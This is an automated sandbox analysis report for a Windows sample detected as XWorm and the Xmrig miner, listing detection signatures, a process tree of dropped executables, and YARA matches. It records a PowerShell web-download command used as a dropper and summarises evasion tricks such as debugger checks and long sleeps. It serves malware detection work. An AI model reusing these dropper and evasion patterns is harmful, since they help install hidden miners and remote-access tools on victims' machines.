Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522712
MD5:	011d87d169d7ba9f3d3fd9a7f6e4bf2d
SHA1:	d8b3f16c867541fb03f460a59042d17bbc20c0cf
SHA256:	1576f68ec71aa3b79d2f3ab363ee523951bde5da0d6afccc4a08247e48fd548b
Tags:	exex64user-jstrosch
Infos:

Detection

XWorm, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected XWorm

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

Detected Stratum mining protocol

Drops executables to the windows directory (C:\Windows) and starts them

Found strings related to Crypto-Mining

Installs new ROOT certificates

Machine Learning detection for sample

Suspicious powershell command line found

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6220 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 011D87D169D7BA9F3D3FD9A7F6E4BF2D)

conhost.exe (PID: 7068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6764 cmdline: powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" " MD5: 04029E121A0CFA5991749937DD22A1D9)

xIpouRJ.exe (PID: 1496 cmdline: C:\Windows\System\xIpouRJ.exe MD5: 38FC44E4446DF51BB43DB463B23B573E)

ERbKWDm.exe (PID: 6380 cmdline: C:\Windows\System\ERbKWDm.exe MD5: 6D0F7C8365C3C357F0222BE5CE3A266C)

wHnuprt.exe (PID: 6448 cmdline: C:\Windows\System\wHnuprt.exe MD5: E4542CEE0E067AA8B88BEC5F17BB9E9C)

uxMRJKa.exe (PID: 6936 cmdline: C:\Windows\System\uxMRJKa.exe MD5: AECC8256FBE60046162932A4E1F8301A)

bJVoOik.exe (PID: 5648 cmdline: C:\Windows\System\bJVoOik.exe MD5: 71BCC81AD8565317CDCD7E08C671D76F)

wkazDeV.exe (PID: 6688 cmdline: C:\Windows\System\wkazDeV.exe MD5: 120A6C6612AE48DAF9F388536D4C213D)

VWrcuzM.exe (PID: 6052 cmdline: C:\Windows\System\VWrcuzM.exe MD5: EB0573C66003AD9ACDD2C870DCD09133)

wJNkgSa.exe (PID: 6504 cmdline: C:\Windows\System\wJNkgSa.exe MD5: 43D864C13E52C94C25181867905771B1)

imwRXsl.exe (PID: 6048 cmdline: C:\Windows\System\imwRXsl.exe MD5: AE9A41D4E0263366912DD3819E26552C)

bzSbRdi.exe (PID: 6680 cmdline: C:\Windows\System\bzSbRdi.exe MD5: 8C45A23D5D5B518604A5B2FD0406DED9)

Csmwgyb.exe (PID: 3232 cmdline: C:\Windows\System\Csmwgyb.exe MD5: BC9CA3D0B7143502231E1D019356F41A)

defQfgC.exe (PID: 4504 cmdline: C:\Windows\System\defQfgC.exe MD5: 7BEEEE9DA27322E67D35F1D537993C24)

XZxtJFw.exe (PID: 1660 cmdline: C:\Windows\System\XZxtJFw.exe MD5: BFA9D779131DA16A1A7C4196F82AA1BC)

MwFvbxc.exe (PID: 6920 cmdline: C:\Windows\System\MwFvbxc.exe MD5: 965716B9337F422A2F6152CBB96308D7)

hAOVVjq.exe (PID: 5500 cmdline: C:\Windows\System\hAOVVjq.exe MD5: 2C095A204073412D9C45F3AD251BEF8D)

oxCQuSo.exe (PID: 7148 cmdline: C:\Windows\System\oxCQuSo.exe MD5: 99FECFBC9BBE117BE95B39527A48C584)

vyHGCnK.exe (PID: 6976 cmdline: C:\Windows\System\vyHGCnK.exe MD5: 3BD024011B845F32C77BB328BB41A90A)

mbSqRHL.exe (PID: 816 cmdline: C:\Windows\System\mbSqRHL.exe MD5: FBAA44DA14D45C494F133F4E439EE297)

VFkciqc.exe (PID: 5220 cmdline: C:\Windows\System\VFkciqc.exe MD5: 472AAC64C702B4254A4FD44C4B1E8B6B)

sdTevgk.exe (PID: 1652 cmdline: C:\Windows\System\sdTevgk.exe MD5: D9FEA9478CF8E2E8B2127AC7F8F3CBFF)

eVVPPqR.exe (PID: 5400 cmdline: C:\Windows\System\eVVPPqR.exe MD5: E8B03F7DF054973E2EF91EC5AB766D05)

VHwkuIa.exe (PID: 7136 cmdline: C:\Windows\System\VHwkuIa.exe MD5: B6D170F5AE5F3159D9390C315530CB9C)

WLWcTVM.exe (PID: 2344 cmdline: C:\Windows\System\WLWcTVM.exe MD5: 23B79B834EA47B32F075DA549DA83A19)

WCbcoxD.exe (PID: 1912 cmdline: C:\Windows\System\WCbcoxD.exe MD5: 5D6BBA924CD8F074439F0C0908FFD307)

QWtCxan.exe (PID: 744 cmdline: C:\Windows\System\QWtCxan.exe MD5: A018243D3E0CEA6622D99326C22ECA73)

fpHmIIc.exe (PID: 6184 cmdline: C:\Windows\System\fpHmIIc.exe MD5: 6D622A4BDBDE6EE17C48CE702C5D6275)

FGSooXz.exe (PID: 2440 cmdline: C:\Windows\System\FGSooXz.exe MD5: 491D2DFE1272615BC2589D4FA72220DC)

mKdsHiQ.exe (PID: 1916 cmdline: C:\Windows\System\mKdsHiQ.exe MD5: 16B36485738F9F0D61279925EF424BF2)

nWSykjl.exe (PID: 7188 cmdline: C:\Windows\System\nWSykjl.exe MD5: CA5C9DD07F94867C833B46D4FB92B257)

LKurWpq.exe (PID: 7204 cmdline: C:\Windows\System\LKurWpq.exe MD5: 7C91A9AC17F6A3A0282289776B7B401B)

iHSYLud.exe (PID: 7220 cmdline: C:\Windows\System\iHSYLud.exe MD5: 15E19FE4D8E3C1148119A90F8028914A)

tyQdqmC.exe (PID: 7236 cmdline: C:\Windows\System\tyQdqmC.exe MD5: 7370A4E709912C9C8D152FEFD7CF4342)

sabRErB.exe (PID: 7256 cmdline: C:\Windows\System\sabRErB.exe MD5: 1F76DBCCDE89B182FB688A59BBDC4A5F)

ZTSJHKb.exe (PID: 7272 cmdline: C:\Windows\System\ZTSJHKb.exe MD5: A9601D3425E381ABD2AFFB16EF43E76B)

xNhRSWh.exe (PID: 7288 cmdline: C:\Windows\System\xNhRSWh.exe MD5: 036653F8DBB022BA9B8937030290846A)

jtnQpnb.exe (PID: 7304 cmdline: C:\Windows\System\jtnQpnb.exe MD5: 54C7BD114F02FACA659AA2C1544FD556)

hEUEsIC.exe (PID: 7320 cmdline: C:\Windows\System\hEUEsIC.exe MD5: 5B47CEA345164BC6778D4F955BD1516B)

UqXZtcb.exe (PID: 7336 cmdline: C:\Windows\System\UqXZtcb.exe MD5: 90727A2EC7516FB032361B43AC6C7081)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000001C.00000002.1388918384.00007FF670A01000.00000040.00000001.01000000.0000001C.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000012.00000002.1379197063.00007FF77B681000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000017.00000002.1384505778.00007FF601281000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000002.1388071664.00007FF7B66F1000.00000040.00000001.01000000.0000001B.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000010.00000002.1377736700.00007FF7A5921000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000015.00000002.1382318435.00007FF62C3E1000.00000040.00000001.01000000.00000015.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000002.1373040235.00007FF74DF51000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000026.00000002.1402766893.00007FF699C11000.00000040.00000001.01000000.00000026.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000002.1398506393.00007FF7683D1000.00000040.00000001.01000000.00000022.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000002.1391201441.00007FF757761000.00000040.00000001.01000000.0000001F.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.1403370784.00007FF7A86E1000.00000040.00000001.01000000.00000027.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000013.00000002.1380830249.00007FF6C9F91000.00000040.00000001.01000000.00000013.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000011.00000002.1378491789.00007FF7DC871000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.1360369085.00007FF6BEA81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000E.00000002.1375621013.00007FF7B8681000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001E.00000002.1390519266.00007FF654031000.00000040.00000001.01000000.0000001E.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000019.00000002.1386016707.00007FF781EE1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000002.1362487750.00007FF68B301000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000D.00000002.1374444194.00007FF7777F1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.1381442489.00007FF6ACAF1000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000028.00000002.1404441992.00007FF61C861000.00000040.00000001.01000000.00000028.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000029.00000002.1405348535.00007FF7BBF71000.00000040.00000001.01000000.00000029.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001A.00000002.1387139413.00007FF6A8DB1000.00000040.00000001.01000000.0000001A.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000002.1399335792.00007FF60FC21000.00000040.00000001.01000000.00000023.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000021.00000002.1393351386.00007FF650B91000.00000040.00000001.01000000.00000021.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000008.00000002.1361423571.00007FF6B3CD1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000002.1366848753.00007FF700A71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.1358681117.00007FF67DBC1000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000006.00000002.1359872361.00007FF7C3B51000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.1363778887.00007FF748321000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.1389418471.00007FF6377F1000.00000040.00000001.01000000.0000001D.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000002.1385524896.00007FF6E04E1000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000025.00000002.1401830291.00007FF725C01000.00000040.00000001.01000000.00000025.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000F.00000002.1376866872.00007FF6888B1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000016.00000002.1383583176.00007FF602991000.00000040.00000001.01000000.00000016.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000002.1400851952.00007FF795F21000.00000040.00000001.01000000.00000024.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000020.00000002.1392692376.00007FF77C771000.00000040.00000001.01000000.00000020.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: file.exe PID: 6220	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: xIpouRJ.exe PID: 1496	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: ERbKWDm.exe PID: 6380	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: wHnuprt.exe PID: 6448	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: uxMRJKa.exe PID: 6936	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: bJVoOik.exe PID: 5648	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: wkazDeV.exe PID: 6688	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: VWrcuzM.exe PID: 6052	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: wJNkgSa.exe PID: 6504	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: imwRXsl.exe PID: 6048	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: bzSbRdi.exe PID: 6680	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Csmwgyb.exe PID: 3232	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: defQfgC.exe PID: 4504	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: XZxtJFw.exe PID: 1660	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
38.2.xNhRSWh.exe.7ff699c10000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
38.2.xNhRSWh.exe.7ff699c10000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
17.2.MwFvbxc.exe.7ff7dc870000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
17.2.MwFvbxc.exe.7ff7dc870000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
19.2.oxCQuSo.exe.7ff6c9f90000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
19.2.oxCQuSo.exe.7ff6c9f90000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
7.2.uxMRJKa.exe.7ff6bea80000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
7.2.uxMRJKa.exe.7ff6bea80000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
13.2.bzSbRdi.exe.7ff7777f0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
13.2.bzSbRdi.exe.7ff7777f0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
39.2.jtnQpnb.exe.7ff7a86e0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
39.2.jtnQpnb.exe.7ff7a86e0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
25.2.VHwkuIa.exe.7ff781ee0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
25.2.VHwkuIa.exe.7ff781ee0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
30.2.FGSooXz.exe.7ff654030000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.2.FGSooXz.exe.7ff654030000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
12.2.imwRXsl.exe.7ff74df50000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
12.2.imwRXsl.exe.7ff74df50000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
6.2.wHnuprt.exe.7ff7c3b50000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
6.2.wHnuprt.exe.7ff7c3b50000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
14.2.Csmwgyb.exe.7ff7b8680000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
14.2.Csmwgyb.exe.7ff7b8680000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
37.2.ZTSJHKb.exe.7ff725c00000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
37.2.ZTSJHKb.exe.7ff725c00000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
5.2.ERbKWDm.exe.7ff67dbc0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
5.2.ERbKWDm.exe.7ff67dbc0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
32.2.nWSykjl.exe.7ff77c770000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
32.2.nWSykjl.exe.7ff77c770000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
40.2.hEUEsIC.exe.7ff61c860000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
40.2.hEUEsIC.exe.7ff61c860000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
9.2.wkazDeV.exe.7ff68b300000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
9.2.wkazDeV.exe.7ff68b300000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
20.2.vyHGCnK.exe.7ff6acaf0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
20.2.vyHGCnK.exe.7ff6acaf0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
41.2.UqXZtcb.exe.7ff7bbf70000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
41.2.UqXZtcb.exe.7ff7bbf70000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
24.2.eVVPPqR.exe.7ff6e04e0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.2.eVVPPqR.exe.7ff6e04e0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
4.2.xIpouRJ.exe.7ff6667f0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
4.2.xIpouRJ.exe.7ff6667f0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
26.2.WLWcTVM.exe.7ff6a8db0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
26.2.WLWcTVM.exe.7ff6a8db0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
35.2.tyQdqmC.exe.7ff60fc20000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
35.2.tyQdqmC.exe.7ff60fc20000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
11.2.wJNkgSa.exe.7ff700a70000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
11.2.wJNkgSa.exe.7ff700a70000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
31.2.mKdsHiQ.exe.7ff757760000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.2.mKdsHiQ.exe.7ff757760000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
15.2.defQfgC.exe.7ff6888b0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
15.2.defQfgC.exe.7ff6888b0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
10.2.VWrcuzM.exe.7ff748320000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
10.2.VWrcuzM.exe.7ff748320000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
22.2.VFkciqc.exe.7ff602990000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
22.2.VFkciqc.exe.7ff602990000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
16.2.XZxtJFw.exe.7ff7a5920000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
16.2.XZxtJFw.exe.7ff7a5920000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
27.2.WCbcoxD.exe.7ff7b66f0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
27.2.WCbcoxD.exe.7ff7b66f0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
34.2.iHSYLud.exe.7ff7683d0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
34.2.iHSYLud.exe.7ff7683d0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
29.2.fpHmIIc.exe.7ff6377f0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
29.2.fpHmIIc.exe.7ff6377f0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
28.2.QWtCxan.exe.7ff670a00000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
28.2.QWtCxan.exe.7ff670a00000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
8.2.bJVoOik.exe.7ff6b3cd0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
8.2.bJVoOik.exe.7ff6b3cd0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
18.2.hAOVVjq.exe.7ff77b680000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
18.2.hAOVVjq.exe.7ff77b680000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
36.2.sabRErB.exe.7ff795f20000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.2.sabRErB.exe.7ff795f20000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x12e591:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
